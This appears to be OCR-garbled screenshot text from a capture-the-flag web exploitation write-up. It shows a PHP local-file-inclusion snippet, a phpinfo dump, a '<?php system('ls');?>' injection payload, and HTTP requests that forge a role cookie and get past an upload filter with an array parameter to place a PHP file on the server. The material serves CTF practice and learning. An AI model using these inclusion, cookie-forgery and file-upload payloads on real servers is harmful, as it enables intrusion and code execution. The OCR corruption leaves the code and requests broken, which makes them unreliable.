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{?php

show_source(_ FILE_ ) ;

if (isset ($_REQUEST[ path’ 1)) {
include ($_REQUEST[ path’]) ;

}else{

}

include (' phpinfo. php’) ;

php.

System

Linux d9b5d520495a 4.4.169-1.el6.elrepo.x86_64 #1 SMP Fri Dec 21 11:47:22 EST 2018 x86_64

Build Date

Dec 13 2016 00:04:38

‘Configure Command

/home/buiIdozer/apons/main/phpS/sIc/php—S.6.29/conﬁgur '——build:)(86764—3Ipine—linux—musl' -
host=x86_64-alpine-linux-musl' "--prefix=/usr' '-- dir=/etc/php5' --local: dir=/var' '--with-
layout=GNU" '—-with-config-file-path=fetc/php5' --with-config-file-scan-dir=/etc/php5/conf.d' '—-enable-
inline-optimization' --disable-debug '-disable-rpath "~disable-static' '~-enable-shared '--mandir=/usr
/share/man’ *--with-pic’ '--disable-cli' '--with 2" ble-b hared" '--with-bz2=chared" *--
enable-calendar=shared' '--with-cdb' *--enable-ctype=shared' '--with-curl=shared' '--enable-dba=shared'
'—-with-db4=shared' '--enable-dom=shared’ '--with-enchant=shared' '--enable-exif=shared" '--with-

freetype-dir=shared,/usr' '—enable-ftp=shared’ --with-gd=shared" '—enable-gd-native-ttf *--with-
gdbm=shared’ *—-with-gettext= shared ith-gmp=shared" '-with-iconv=shared" *--with-icu-dir=/usr" '—
with-imap=shared' *--with-il hared' ' ble-intl=shared' '--with-jpeg-dir=shared /usr’ '--
enable-json=shared' '--with-ldap=shared' '--enable-libxml=shared' '--enable-mbregex' '--enable-
mbstring=all' --with-mcrypt=shared' '--with ql=shared,mysqlnd’ ——wnh mysql sock /var
Jrun/mysqld/ sock”--with-mysqli=sh mysqlnd ith

regex=/usr' - bl I=sh bl " *—with-| pdo mysql—shared.mysqlnd *--with-

pdo-odbe=shared, unleDBC./usr *--with-pdo-| pgsql shared" *--with-pdo-¢ sqllte—shared Jusr' "'—-with-
pgsql=shared' '--enable-phar=shared’ *--with-{ png- dlr—shared/usr ——enable puslx shared' ——wnh—

pspell=shared’ --with-regex=php" " bl on ble-sh ith- p g
e ble- suap shared’ ——enab le-sock hared' *--with-sgli hared /usr " bl hared’
o h ' --enable-sysvsh h ——wnh unixODBC=shared,/usr" ——enable—

" '--enable-xmlread d '--with-xmlrpc shared" '--with-xs|=shared" '--enable-
wddx=shared' *--enable-zip=shared" '~-with-zlib=shared" '--without-db1' "--without-db2' *--without-db3"
*--without-qdbm* '--with-mssql=shared" '--with-pdo-dblib=shared" --enable-opcache’
*build_alias=x86_64-alpine-linux-musl' 'host_alias=x86_64-alpine-linux-musl' 'CC=gcc’ 'CFLAGS=-0s
~fomit-frame-pointer -g' 'LDFLAGS=-W|,—as-needed' 'CPPFLAGS =-Os -fomit-frame-pointer' 'CXXFLAGS=-
0Os -fomit-frame-pointer -g'
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<?php

show_source (_ FILE_ )

if (isset ($_REQUEST[ path’ 1)) {
include ($ REQUEST[ path’1);

}else!

}
dle345aae.php index.php phpinfo.php

include (" phpinfo. php’ ) ;
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Split URL

Execution

()]

|¥| Post Data Referrer

Post Data

<?php system(*ls");?>
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<?php
show_source(_FILE ) ;
if (isset ($_REQUEST[ path’ 1)) {

include (§_REQUEST[ path’]);

telse!

include (" phpinfo. php’ ) ;
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Sorry. You have no permissions.
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Biz:

GET /HTTP/1.1
Host: 106.75.72.168:2222

User-Agent: Mozilla/5.0 (Windows NT 10.0; WinG4; x64; nv:90.0) Gecko/20100101 Firefox/90.0
Accept: text/html,application/xhtml+xml application/xml;q=0.9 imagefwebp /™ q=0.8
Accept-Language: zh-CN zh;q=0.8 zh-TW,q=0.7 zh-HK;=0.5 en-US;q=0.3 en;q=0.2

Accept-Encoding: gzip, deflate
Connection: close

Cookie: role=Zjol CiJ0aHJmZyl7
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0

e

HTTF/1.1 200 OK

Date: Fri, 30 Jul 2021 14:50:48 GMT
Server: Apache/2.4.7 (Ubuntu)
X-Fowered-By: PHP/5.5.9-1ubuntud. 22
Wary: Accept-Encoding
Content-Length: 112

Connection: close

Content-Type: text/html

<IDOCTYPE htmil>
<html=
<head>
<title=<ititle=
<fhead=
<body>
Sorry. You have no permissions.</body>
<fhtml=>
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ost: 106.76.72.168:2222

ser-Agent: Mozilla/5.0 (Windows NT 10.0; WinE4; x64; n:80.0) Gecko/20100101 Firefox/90.0
ccept: text/html, application/xhtml+xml application/xml; g=0.9 image/fwebp " q=0.8
ccept-Language: zh-CM,zh;g=0.8,zh-TW, g=0.7 ,zh-HIK;q=0.5 en-US;q=0.3 en;q=0.2
ccept-Encoding: gzip, deflate

onnection: close

ookie: role:ZJ010|Jchp2YS\7|

pgrade-Insecure-Requests: 1

ache-Control: max-age=0

Date: Fri, 30 Jul 2021 15:09:44 GMT
Server. Apache/2.4.7 (Ubuntu)
¥-FPowered-By: PHP/S.5.9-Tubuntud 22
Wary: Accept-Encoding
Content-Length: 210

Connection: close

Content-Type: text/html

<IDOCTYPE htmi>

<htrnl>

<head=>
<title=</title=

</head>

<hody=>

<l §filename = § POST[filename]; $data = § POST] data]; --=Hello admin, now you can

upload something you are easy to forget.</body>
</html=
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BiF: http://106.7

QST /HTTPM A

ost: 106.75.72.168:2222

ser-Agent: Mozilla/5.0 (Windows NT 10.0; Wing4; x64; n:90.0) Gecko/20100101 Firefox/90.0
ccept: text/html application/xhtml+xml application/xml; g=0.9 imagefwebp **q=0.8
ccept-Language: zh-CN,zh;q=0.8,zh-TW,;q=0.7 ,zh-HK; q=0.5 en-US;q=0.3 en;q=0.2
ccept-Encoding: gzip, deflate

onnection: close

ookie: role=Zjol OiJucXp2YSI7

pgrade-Insecure-Requests: 1

ache-Control: max-age=0

ontent-Type: application/x-www-form-urlencoded

ontent-Length: 34

ename=1 .php&data:<?phpinf00|?>
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Date: Fri, 30 Jul 2021 15:14:18 GMT
Server: Apache/2.4.7 (Ubuntu)
X¥-Powered-By: PHP/S.5.9-1ubuntud 22
Vary: Accept-Encoding
Content-Length: 74

Connection: close

Content-Type: text/html

e

<IDOCTYPE htmi>

<html=

<head=>
<title=</title>

<fhead=>

<body=>

No No Mo!
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S0ST/HTTP/1.1 [a
Host: 106.75.72.168:2222

Jser-Agent: Mozilla/5.0 (Windows NT 10.0; WinB4; x64; n:90.0) Gecko/20100101 Firefox/20.0

Aecept: text/html applicationfxhtmi+xml,application/xml; g=0.9 imagefwebp */* ¢=0.8

Secept-Language: zh-CN,zh;q=0.8,zh-TW,q=0.7 zh-HK;q=0.5,2n-US;q=0 3 en;q=0.2

Aecept-Encoding: gzip, deflate

Connection: close

Cookie: role=Zjo1 Oiduckp2 Y SI7

Joarade-Insecure-Reauests: 1
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Date: Fri, 30 Jul 2021 15:15:24 GMT
Server, Apache2.4.7 (Ubuntu)
¥-Powered-By: PHF/5.5.9-1ubuntud .22
Vary: Accept-Encoding
Content-Length: 144

Connection: close

Content-Type: text/html



Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Content-Length: 36

<IDOCTYPE htmi>
<html>
<head=>
<title><ftitle>

ilename=1 php&data[]|=<?phpmf00;?> <fheads=

<hody>
your file is in ./uploads/013c3972b69e0fbdc1araad 1f41450661.php</body>
</html=
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